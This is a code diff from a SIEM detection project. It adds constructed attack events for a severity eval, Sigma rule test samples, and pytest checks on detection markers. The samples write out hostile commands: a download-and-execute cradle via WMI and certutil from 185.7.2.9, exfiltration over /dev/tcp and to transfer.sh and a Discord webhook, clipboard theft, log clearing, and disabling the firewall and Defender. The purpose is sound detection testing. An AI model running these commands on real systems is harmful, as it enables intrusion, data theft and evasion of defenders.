"severity": "HIGH", "timestamp": "2026-09-07 02:44:10", "message": "{\"timestamp\": \"2026-09-07 02:44:10\", \"datetime\": \"2026-09-07 02:44:10\", \"source\": \"Security/Microsoft-Windows-Security-Auditing\", \"severity\": \"HIGH\", \"event_type\": \"MALWARE\", \"message\": \"[Security] EID=4688, Cat=13312 | New Process | Image=C:\\\\Windows\\\\System32\\\\cmd.exe | Account=CORP\\\\jdoe | CommandLine=cmd.exe /c powershell -nop -w hidden -enc SQBFAFgAIAAoAA== | ParentImage=C:\\\\Program Files\\\\Microsoft Office\\\\root\\\\Office16\\\\WINWORD.EXE\"}"}, "expected": "CRITICAL", "note": "T1566.001 A macro in a document reaching a shell. The document is the delivery; this is the moment it becomes code execution.", "recorded_severity": "HIGH", "below_floor": false, "constructed": true} +{"id": "constructed:t1047-wmi-remote-exec", "table": "siem_events", "event": {"id": null, "source": "Security/Microsoft-Windows-Security-Auditing", "severity": "HIGH", "timestamp": "2026-09-07 02:44:10", "message": "{\"timestamp\": \"2026-09-07 02:44:10\", \"datetime\": \"2026-09-07 02:44:10\", \"source\": \"Security/Microsoft-Windows-Security-Auditing\", \"severity\": \"HIGH\", \"event_type\": \"MALWARE\", \"message\": \"[Security] EID=4688, Cat=13312 | New Process | Account=CORP\\\\jdoe | CommandLine=wmic.exe /node:10.0.4.17 /user:CORP\\\\admin process call create \\\"powershell -nop -w hidden -c IEX(New-Object Net.WebClient).DownloadString(\\\\'http://185.7.2.9/a\\\\')\\\"\"}"}, "expected": "CRITICAL", "note": "T1047 A process started on another host over WMI. Lateral movement that needs no service installed and no file written on the target.", "recorded_severity": "HIGH", "below_floor": false, "constructed": true} +{"id": "constructed:t1543-service-from-temp", "table": "siem_events", "event": {"id": null, "source": "System/Microsoft-Windows-Security-Auditing", "severity": "HIGH", "timestamp": "2026-09-07 02:44:10", "message": "{\"timestamp\": \"2026-09-07 02:44:10\", \"datetime\": \"2026-09-07 02:44:10\", \"source\": \"System/Microsoft-Windows-Security-Auditing\", \"severity\": \"HIGH\", \"event_type\": \"MALWARE\", \"message\": \"[System] EID=7045, Cat=13312 | Service Installed | ServiceName=WinHelpSvc | ImagePath=C:\\\\Windows\\\\Temp\\\\svc.exe | ServiceType=user mode service | StartType=auto start | AccountName=LocalSystem\"}"}, "expected": "CRITICAL", "note": "T1543.003 A service whose binary lives in Temp. Services run as SYSTEM and start themselves, which is why persistence keeps coming back to them.", "recorded_severity": "HIGH", "below_floor": false, "constructed": true} +{"id": "constructed:t1105-certutil-download", "table": "siem_events", "event": {"id": null, "source": "Security/Microsoft-Windows-Security-Auditing", "severity": "HIGH", "timestamp": "2026-09-07 02:44:10", "message": "{\"timestamp\": \"2026-09-07 02:44:10\", \"datetime\": \"2026-09-07 02:44:10\", \"source\": \"Security/Microsoft-Windows-Security-Auditing\", \"severity\": \"HIGH\", \"event_type\": \"MALWARE\", \"message\": \"[Security] EID=4688, Cat=13312 | New Process | Account=CORP\\\\jdoe | CommandLine=certutil.exe -urlcache -split -f http://185.7.2.9/p.txt C:\\\\Users\\\\Public\\\\p.exe\"}"}, "expected": "CRITICAL", "note": "T1105 A signed Microsoft binary fetching a payload. The download does not look like a download and allow-listing does not stop a binary Windows shipped itself.", "recorded_severity": "HIGH", "below_floor": false, "constructed": true} +{"id": "constructed:t1546-wmi-subscription", "table": "siem_events", "event": {"id": null, "source": "Security/Microsoft-Windows-Security-Auditing", "severity": "HIGH", "timestamp": "2026-09-07 02:44:10", "message": "{\"timestamp\": \"2026-09-07 02:44:10\", \"datetime\": \"2026-09-07 02:44:10\", \"source\": \"Security/Microsoft-Windows-Security-Auditing\", \"severity\": \"HIGH\", \"event_type\": \"MALWARE\", \"message\": \"[Security] EID=4688, Cat=13312 | New Process | Account=CORP\\\\jdoe | CommandLine=powershell.exe -c \\\"Set-WmiInstance -Class __EventFilter -Namespace root\\\\subscription -Arguments @{Name=\\\\'upd\\\\';Query=\\\\'SELECT * FROM __InstanceModificationEvent\\\\'}\\\"\"}"}, "expected": "CRITICAL", "note": "T1546.003 A WMI event subscription. Persistence with nothing on disk and nothing in the registry run keys, triggered by an event rather than by a logon.", "recorded_severity": "HIGH", "below_floor": false, "constructed": true} +{"id": "constructed:t1070-eventlog-cleared", "table": "siem_events", "event": {"id": null, "source": "Security/Microsoft-Windows-Security-Auditing", "severity": "HIGH", "timestamp": "2026-09-07 02:44:10", "message": "{\"timestamp\": \"2026-09-07 02:44:10\", \"datetime\": \"2026-09-07 02:44:10\", \"source\": \"Security/Microsoft-Windows-Security-Auditing\", \"severity\": \"HIGH\", \"event_type\": \"MALWARE\", \"message\": \"[Security] EID=4688, Cat=13312 | New Process | Account=CORP\\\\jdoe | CommandLine=wevtutil.exe cl Security\"}"}, "expected": "CRITICAL", "note": "T1070.001 The security log cleared from the command line. Not a step in the attack - a step in hiding it, and the one that makes everything before it unanswerable.", "recorded_severity": "HIGH", "below_floor": false, "constructed": true} +{"id": "constructed:t1562-firewall-off", "table": "siem_events", "event": {"id": null, "source": "Security/Microsoft-Windows-Security-Auditing", "severity": "HIGH", "timestamp": "2026-09-07 02:44:10", "message": "{\"timestamp\": \"2026-09-07 02:44:10\", \"datetime\": \"2026-09-07 02:44:10\", \"source\": \"Security/Microsoft-Windows-Security-Auditing\", \"severity\": \"HIGH\", \"event_type\": \"MALWARE\", \"message\": \"[Security] EID=4688, Cat=13312 | New Process | Account=CORP\\\\jdoe | CommandLine=netsh.exe advfirewall set allprofiles state off\"}"}, "expected": "CRITICAL", "note": "T1562.004 The host firewall turned off wholesale, which is what precedes an inbound connection somebody wants to keep.", "recorded_severity": "HIGH", "below_floor": false, "constructed": true} +{"id": "constructed:t1563-rdp-session-hijack", "table": "siem_events", "event": {"id": null, "source": "Security/Microsoft-Windows-Security-Auditing", "severity": "HIGH", "timestamp": "2026-09-07 02:44:10", "message": "{\"timestamp\": \"2026-09-07 02:44:10\", \"datetime\": \"2026-09-07 02:44:10\", \"source\": \"Security/Microsoft-Windows-Security-Auditing\", \"severity\": \"HIGH\", \"event_type\": \"MALWARE\", \"message\": \"[Security] EID=4688, Cat=13312 | New Process | Account=CORP\\\\admin | CommandLine=tscon.exe 2 /dest:rdp-tcp#13\"}"}, "expected": "CRITICAL", "note": "T1563.002 Another user's disconnected RDP session attached to this one. Run as SYSTEM it needs no password at all - the session is already authenticated, and it is somebody else's.", "recorded_severity": "HIGH", "below_floor": false, "constructed": true} diff --git a/frontend/src/pages/AttackCoverage.tsx b/frontend/src/pages/AttackCoverage.tsx index 7453d48..4148e4e 100644 --- a/frontend/src/pages/AttackCoverage.tsx +++ b/frontend/src/pages/AttackCoverage.tsx @@ -80,6 +80,13 @@ const TECHNIQUE_TACTIC: Record = { T1047: 'execution', T1566: 'initial-access', T1482: 'discovery', T1546: 'persistence', T1556: 'credential-access', T1563: 'lateral-movement', + // The end of the kill chain, which the rule set was blind to until the + // coverage was measured rather than assumed: nothing at all for collection + // or exfiltration, and one rule for impact. + T1560: 'collection', T1074: 'collection', T1113: 'collection', + T1115: 'collection', T1056: 'collection', + T1567: 'exfiltration', T1048: 'exfiltration', + T1489: 'impact', }; const tacticOf = (technique: string): string => diff --git a/tests/sigma_samples/linux.yml b/tests/sigma_samples/linux.yml index f9c663d..c17bc93 100644 --- a/tests/sigma_samples/linux.yml +++ b/tests/sigma_samples/linux.yml @@ -236,3 +236,51 @@ linux_sshd_config_weakened: event: CommandLine: systemctl reload sshd also_fires: [] + +linux_data_staged_in_archive: + matches: + - name: home and etc collected into memory-backed storage + event: + Image: /usr/bin/tar + CommandLine: tar -czf /dev/shm/h.tgz /home/deploy /etc/nginx + - name: a database directory zipped into tmp + event: + Image: /usr/bin/zip + CommandLine: zip -r /tmp/d.zip /var/lib/mysql + ignores: + - name: a source tree archived in place + event: + Image: /usr/bin/tar + CommandLine: tar -czf build/release.tgz ./dist + also_fires: [] + +linux_file_pushed_offhost: + matches: + - name: an archive pushed through a bash builtin socket + event: + Image: /bin/bash + CommandLine: bash -c 'cat /dev/shm/h.tgz > /dev/tcp/185.7.2.9/443' + - name: uploaded to a transfer service + event: + Image: /usr/bin/curl + CommandLine: curl --upload-file /tmp/d.zip https://transfer.sh/d.zip + ignores: + - name: a scheduled rsync backup + event: + Image: /usr/bin/rsync + CommandLine: rsync -az --delete /srv/data/ backup-01:/srv/data/ + - name: a port check with netcat + event: + Image: /usr/bin/nc + CommandLine: nc -z 10.0.0.5 443 + # Both correct, and both worth keeping. + # + # A reverse shell and an exfiltration over /dev/tcp are the same mechanism + # pointed in opposite directions, so the two rules see each other's samples. + # And the drop-service list is shared with the Windows rule deliberately - + # transfer.sh does not care which operating system uploaded to it, and + # narrowing either rule to its own platform would mean a Linux host using a + # Windows-listed service went unseen. + also_fires: + - linux_reverse_shell + - win_upload_from_script_host diff --git a/tests/sigma_samples/windows.yml b/tests/sigma_samples/windows.yml index 98b3593..6a7e25d 100644 --- a/tests/sigma_samples/windows.yml +++ b/tests/sigma_samples/windows.yml @@ -383,3 +383,79 @@ win_domain_recon: Image: C:\Windows\System32\whoami.exe CommandLine: whoami also_fires: [] + +win_data_staged_in_archive: + matches: + - name: a password-protected archive in Temp + event: + Image: C:\Windows\System32\rar.exe + CommandLine: rar.exe a -hp7Gh2 C:\Windows\Temp\out.rar C:\Users\jdoe\Documents + - name: Compress-Archive writing to the public profile + event: + Image: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe + CommandLine: powershell -c "Compress-Archive -Path C:\Finance -DestinationPath C:\Users\Public\f.zip" + ignores: + - name: an installer unpacking beside itself + event: + Image: C:\Program Files\7-Zip\7z.exe + CommandLine: 7z.exe x setup.7z -oC:\Program Files\App + also_fires: [] + +win_clipboard_and_screen_captured: + matches: + - name: the clipboard read in a loop from a hidden shell + event: + Image: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe + CommandLine: powershell.exe -nop -w hidden -c "while($true){Get-Clipboard | Out-File -Append C:\Users\Public\c.txt; Start-Sleep 5}" + - name: the screen copied into a bitmap + event: + Image: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe + CommandLine: powershell -c "$g=[Drawing.Graphics]::FromImage($b); $g.CopyFromScreen(0,0,0,0,$s)" + ignores: + - name: a helper setting the clipboard rather than reading it + event: + Image: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe + CommandLine: powershell -c "Set-Clipboard -Value 'deploy done'" + also_fires: [] + +win_upload_from_script_host: + matches: + - name: the archive posted to a transfer service + event: + Image: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe + CommandLine: powershell.exe -c "Invoke-RestMethod -Uri https://transfer.sh/out.rar -Method Post -InFile C:\Windows\Temp\out.rar" + - name: a webhook used as a drop point + event: + Image: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe + CommandLine: powershell -c "iwr https://discord.com/api/webhooks/1/x -Body $d" + ignores: + - name: fetching an update rather than sending one + event: + Image: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe + CommandLine: powershell -c "Invoke-WebRequest https://vendor.example/patch.msi -OutFile C:\Temp\patch.msi" + # The drop-service list is shared with the Linux rule on purpose: a + # paste site does not care which operating system reached it. + also_fires: + - linux_file_pushed_offhost + +win_recovery_services_stopped: + matches: + - name: endpoint protection stopped + event: + Image: C:\Windows\System32\net.exe + CommandLine: net.exe stop WinDefend /y + - name: the backup agent disabled at boot + event: + Image: C:\Windows\System32\sc.exe + CommandLine: sc.exe config Veeam start= disabled + ignores: + - name: restarting an unrelated service + event: + Image: C:\Windows\System32\net.exe + CommandLine: net.exe stop Spooler + # Correct. `win_defender_exclusion_added` has its own branch for + # stopping WinDefend, and the two rules describe the same act from + # different angles - evasion there, preparation for impact here. + # Either alone is worth seeing. + also_fires: + - win_defender_exclusion_added diff --git a/tests/test_criteria.py b/tests/test_criteria.py index 161e50f..d876299 100644 --- a/tests/test_criteria.py +++ b/tests/test_criteria.py @@ -18,6 +18,7 @@ """ from __future__ import annotations +import json import types import pytest @@ -195,37 +196,151 @@ def test_both_callers_use_it(): # What these markers do and do not demonstrate # -------------------------------------------------------------------------- -def test_the_markers_cover_the_constructed_attacks(): - """8/8 on the corpus, and that number proves less than it looks. - - The markers and the corpus positives were written by the same person from - the same list of techniques, so matching all of them is close to - circular - the cases were built around the strings the markers look for. - - The half that is evidence is the negatives: four of them are events this - deployment actually produced, and none was in view when the markers were - written. `test_the_observed_false_positives_match_nothing` is the test - that carries weight. - """ - import json +# Corpus positives the six criteria do not cover, each with the reason. This +# list is the point of the three tests below: it is short, it is argued, and +# adding to it is a decision somebody has to write down rather than a test +# quietly going green. +# +# The corpus outgrew this file. It began as eight cases built alongside these +# markers and is now also what proves every Sigma rule fires, so it grows every +# time a rule is added - and "every corpus positive must match a marker" then +# reads as "every new rule needs a marker beside it". That is the wrong +# direction. A marker forces CRITICAL and skips the confidence gate, so the bar +# is evidence that is hard to produce by accident, not evidence that a +# technique was used. +OUTSIDE_THE_CRITERIA = { + "constructed:t1560-archive-staged": + "Collection. `rar a -hp` in Temp is a strong signal and `rar a` is a " + "backup job; separating them needs the location and the parent, which " + "is rule work.", + "constructed:t1115-clipboard-capture": + "Collection. `Get-Clipboard` is a documented cmdlet with ordinary " + "uses; the loop and the hidden window are what make it theft.", + "constructed:t1567-web-upload": + "Exfiltration. `Invoke-RestMethod -Method Post` is how half of this " + "estate's own automation talks to its own APIs. The destination is " + "what separates them and this cannot know which hosts are ours.", + "constructed:t1087-domain-recon": + "Discovery. `net group \"Domain Admins\"` is the first thing an " + "administrator types and the first thing an intruder types.", + "constructed:t1136-local-admin-added": + "Account creation. The helpdesk does this all morning.", + "constructed:t1566-office-spawns-shell": + "The evidence is a parent-child relationship, not a string. WINWORD " + "spawning cmd is damning and neither name is suspicious alone.", + "constructed:t1546-wmi-subscription": + "Fileless persistence. `__EventFilter` in `root\\subscription` looks " + "specific until you remember ConfigMgr is built on WMI subscriptions.", + "constructed:t1563-rdp-session-hijack": + "`tscon /dest:` takes over another user's session. Rare, but it is " + "also how an administrator reconnects a hung session, and there is no " + "second string that says which happened.", +} + + +def _corpus_rows(): import pathlib corpus = (pathlib.Path(__file__).resolve().parent.parent / "evals" / "corpus_attacks.jsonl") - rows = [json.loads(l) for l in corpus.read_text(encoding="utf-8").splitlines() - if l.strip()] - positives = [r for r in rows if r["expected"] == "CRITICAL"] + return [json.loads(l) for l + in corpus.read_text(encoding="utf-8").splitlines() if l.strip()] + + +def _matches_any_criterion(row) -> bool: + return any(criteria.supported_by(tag, json.dumps(row["event"])) + for tag in criteria.CRITERIA) + + +def test_the_markers_cover_every_attack_they_claim_to(): + """Everything the criteria are meant to catch, minus what is argued out + above. + + The number this produces proves less than it looks: the markers and most + of the corpus positives were written by the same person from the same list + of techniques, so matching them is close to circular. The half that is + evidence is the negatives - four of them are events this deployment + actually produced, and none was in view when the markers were written. + `test_the_observed_false_positives_match_nothing` is the test that carries + weight. + + What this one is still good for is the day a marker stops matching. Three + did, silently: "the audit log was cleared" and "a service was installed" + are message templates, and the collector ships StringInserts. + """ + positives = [r for r in _corpus_rows() if r["expected"] == "CRITICAL"] assert positives, "the corpus has no positives" - matched = [r for r in positives - if any(criteria.supported_by(tag, json.dumps(r["event"])) - for tag in criteria.CRITERIA)] - assert len(matched) == len(positives), ( - "attacks with no marker: " - + ", ".join(r["id"] for r in positives if r not in matched) + in_scope = [r for r in positives if r["id"] not in OUTSIDE_THE_CRITERIA] + missing = [r["id"] for r in in_scope if not _matches_any_criterion(r)] + assert not missing, ( + "attacks with no marker: " + ", ".join(missing) + ". Either add the " + "marker or add the case to OUTSIDE_THE_CRITERIA with the reason." + ) + + +def test_the_uncovered_attacks_are_a_decision_and_not_an_oversight(): + """Both directions, because the list rots either way. + + An id that leaves the corpus leaves a stale excuse behind. And an entry + that starts matching means a marker widened until it covers a case + somebody argued should stay out - which is how `appdata` got back in, + written longer. + """ + rows = {r["id"]: r for r in _corpus_rows()} + stale = sorted(set(OUTSIDE_THE_CRITERIA) - set(rows)) + assert not stale, f"no longer in the corpus: {stale}" + + now_matching = sorted(i for i in OUTSIDE_THE_CRITERIA + if _matches_any_criterion(rows[i])) + assert not now_matching, ( + f"markers now cover cases argued out: {now_matching}. If that is " + f"deliberate, delete the entry; if not, the marker is too wide." + ) + + +def test_nothing_argued_out_of_the_criteria_falls_through_the_rules_too(): + """The reason the list above is acceptable. + + Each of those cases is left to the Sigma rules, which can score and be + tuned rather than forcing CRITICAL. That is only true while a rule + actually fires on it - otherwise "the rules handle it" is an assumption, + and the case is covered by nothing at all. + """ + from core.sigma_loader import load_dir, match_all + + from tests.test_sigma_builtin_rules import RULES_DIR, _as_event, _message + + rules = load_dir(RULES_DIR).rules + rows = {r["id"]: r for r in _corpus_rows()} + unwatched = sorted(i for i in OUTSIDE_THE_CRITERIA + if not match_all(rules, _as_event(_message(rows[i])))) + assert not unwatched, ( + f"no criterion and no rule: {unwatched}. Nothing sees these." ) +def test_no_case_below_critical_is_forced_to_critical(): + """`apply()` promotes a supported criterion to CRITICAL, so a marker that + reaches a case the corpus grades SUSPICIOUS makes it unscoreable - the + eval compares against `expected` exactly, and no answer from the model can + win. + + The other benign test looks at NOT_CRITICAL rows only, which left the two + SUSPICIOUS ones unwatched. A Run key into AppData sat there being forced + to CRITICAL by a marker whose own comment said it had been removed. + """ + for row in _corpus_rows(): + if row["expected"] == "CRITICAL": + continue + verdict = v(claimed="none", verdict=row["expected"]) + criteria.apply(verdict, json.dumps(row["event"])) + assert verdict.verdict != "CRITICAL", ( + f"{row['id']} is graded {row['expected']} and a criterion forces " + f"it to CRITICAL" + ) + + def test_no_benign_case_matches_a_marker(): """The number that is not circular. Four of these are observed events.""" import json @@ -302,9 +417,66 @@ def test_a_run_key_into_appdata_is_not_forced_to_critical(): Removing it cost nothing measurable - all eight attack cases still match a criterion - and a Run key into AppData is still worth a look. That is a judgement, which is the model's half of this. + + It was not removed. `currentversion\\run` + `\\appdata\\` survived as a + pair, which is the same alternative written longer, and this test did not + notice because its sample elides the key path as `HKLM\\...\\Run` - so the + first marker was missing and the assertion passed for the wrong reason. + The full path below is what Sysmon EID 13 writes, and it is the corpus + case `constructed:t1547-run-key`, graded SUSPICIOUS. + """ + key = (r"TargetObject=HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion" + r"\Run\Updater | Details=C:\Users\jdoe\AppData\Roaming\updater.exe") + assert not criteria.supported_by("C4", key) + + +def test_the_markers_match_what_the_agent_ships_not_what_event_viewer_renders(): + """Three markers here could never have fired in production. + + "The audit log was cleared" and "A service was installed in the system" + are message *templates*. Windows stores the fields and renders the + sentence when something asks it to; the collector joins `StringInserts` + with " | " and never asks. For 1102 those inserts are four fields naming + the account, and for 7045 they are the service name, image path, type, + start type and account. No prose in either. + + So C3 matched clearing the audit log only in hand-written corpus lines, + and C4's service branch the same. Both events have their own Sigma rule + keyed on the event id, which is why nobody noticed - one layer covered it + and the other reported coverage it did not have. + + These two strings are the real shape, and neither contains the sentence. """ + cleared = ("[Security] EID=1102, Cat=13568 | " + r"S-1-5-21-1111111111-2222222222-3333333333-1001 | jdoe | " + "CORP | 0x3e7") + assert "cleared" not in cleared.lower(), "the sentence is not in the event" + assert criteria.supported_by("C3", cleared) + + installed = ("[System] EID=7045, Cat=0 | WinHelpSvc | " + r"C:\Windows\Temp\svc.exe | user mode service | " + "auto start | LocalSystem") + assert "installed" not in installed.lower(), "nor in this one" + assert criteria.supported_by("C4", installed) + + +def test_a_service_from_a_normal_location_is_still_not_persistence(): + """The 7045 pairing is unchanged by the format fix: the event id alone is + not the evidence. Software arrives on a managed estate as a service + installed from the distribution point, and that is the benign corpus + case.""" + ordinary = ("[System] EID=7045, Cat=0 | NinjaRMMAgent | " + r"\\corp-sccm01\SoftwareDist$\NinjaRMMAgent.exe | " + "user mode service | auto start | LocalSystem") + assert not criteria.supported_by("C4", ordinary) + + +def test_log_rotation_is_not_log_clearing(): + """`wevtutil` is both. The nightly job archives the Application log and + this deployment produced one; ` cl ` is the subcommand that destroys.""" assert not criteria.supported_by( - "C4", r"TargetObject=HKLM\...\Run\Updater Details=C:\Users\jdoe\AppData\Roaming\updater.exe") + "C3", r"CommandLine=wevtutil.exe archive-log C:\Logs\App.evtx") + assert criteria.supported_by("C3", "CommandLine=wevtutil.exe cl Security") def test_a_writable_path_needs_a_mechanism_beside_it(): diff --git a/tests/test_sigma_builtin_rules.py b/tests/test_sigma_builtin_rules.py index 1886bfa..72ee088 100644 --- a/tests/test_sigma_builtin_rules.py +++ b/tests/test_sigma_builtin_rules.py @@ -71,7 +71,12 @@ def test_every_rule_records_what_would_falsely_trigger_it(loaded): # -------------------------------------------------------------------------- CORPUS_FIELDS = { + # `Image` was missing, and its absence was invisible: a rule keyed on the + # child process image - `win_office_spawns_shell` is one - could not be + # expressed by any corpus case, so it sat unexercised with nothing able to + # say why. Found when the Windows coverage invariant below was added. "CommandLine": "CommandLine", "ParentImage": "ParentProcessName", + "Image": "NewProcessName", "ImagePath": "ImagePath", "Command": "TaskContent", "TaskName": "TaskName", "TargetObject": "TargetObject", "Details": "Details", "ServiceName": "ServiceName", "IpAddress": "IpAddress", @@ -328,6 +333,29 @@ def test_linux_rules_also_work_on_a_plain_syslog_line(name, entry, loaded): assert match_all(loaded.rules, text_event_fields(line, "/var/log/auth.log")), name +def test_every_windows_rule_is_exercised_by_the_corpus(loaded): + """The Linux half of this has existed for a while and the Windows half + did not, which is why three rules could be added and sit unfired with + nothing saying so. + + Same reasoning either way: a rule nobody has seen match is a rule that + might not, and the moment to find that out is now rather than during an + incident. Reported as a list, because when this fails it usually fails + for several at once. + """ + windows = {r.title for r in loaded.rules + if str(r.logsource.get("product", "")).lower() == "windows"} + + fired = {h.title for case in _corpus() + for h in match_all(loaded.rules, _as_event(_message(case)))} + + unexercised = sorted(windows - fired) + assert not unexercised, ( + f"Windows rules no corpus case fires: {unexercised}. Add one to " + f"evals/corpus_attacks.jsonl." + ) + + def test_every_linux_rule_is_exercised_by_these_cases(loaded): """Otherwise a rule could be added, never fire, and nothing would say so. @@ -406,6 +434,14 @@ def test_the_case_sigma_cannot_express_is_covered_elsewhere(): # The daemon itself becomes the backdoor - no new binary, no new service. ("sshd-permitrootlogin", "sh -c \"echo 'PermitRootLogin yes' >> /etc/ssh/sshd_config\""), + # Collection. /dev/shm is memory rather than disk, so an archive staged + # there survives no reboot and leaves nothing for a later forensic image. + ("archive-staged-in-shm", + "tar -czf /dev/shm/h.tgz /home/deploy /etc/nginx"), + # Exfiltration over a bash builtin: nothing installed, no binary to find, + # and it still works on a host stripped of every network tool. + ("exfil-over-devtcp", + "bash -c 'cat /dev/shm/h.tgz > /dev/tcp/185.7.2.9/443'"), ] LINUX_COMMANDS_THAT_MUST_NOT = [